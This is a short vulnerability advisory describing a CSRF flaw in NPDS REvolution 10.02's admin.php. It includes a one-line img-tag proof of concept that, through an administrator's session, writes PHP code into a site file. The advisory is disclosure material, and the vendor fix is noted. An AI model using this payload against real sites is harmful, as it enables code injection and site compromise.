REvolution 10.02 - Cross-Site Request Forgery

Vulnerability ID: HTB22367

Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_npds_revolution.html

Product: NPDS REvolution

Vendor: NPDS

Vulnerable Version: REvolution 10.02 and Probably Prior Versions Vendor
Notification: 06 May 2010 Vulnerability Type: CSRF (Cross-Site Request
Forgery)

Status: Fixed by Vendor

Risk level: Low

Credit: High-Tech Bridge SA (http://www.htbridge.ch/)



Vulnerability Details:

The vulnerability exists due to failure in the "admin.php" script to
properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise
of the application, theft of cookie-based authentication credentials,
disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is
available:


<img src="
http://host/admin.php?op=ConfigFiles_save&Xtxt=<?+phpinfo()+?>&Xfiles=footer_after&confirm=1<http://host/admin.php?op=ConfigFiles_save&Xtxt=%3c?+phpinfo()+?%3e&Xfiles=footer_after&confirm=1>
">


Solution: Upgrade to the most recent verison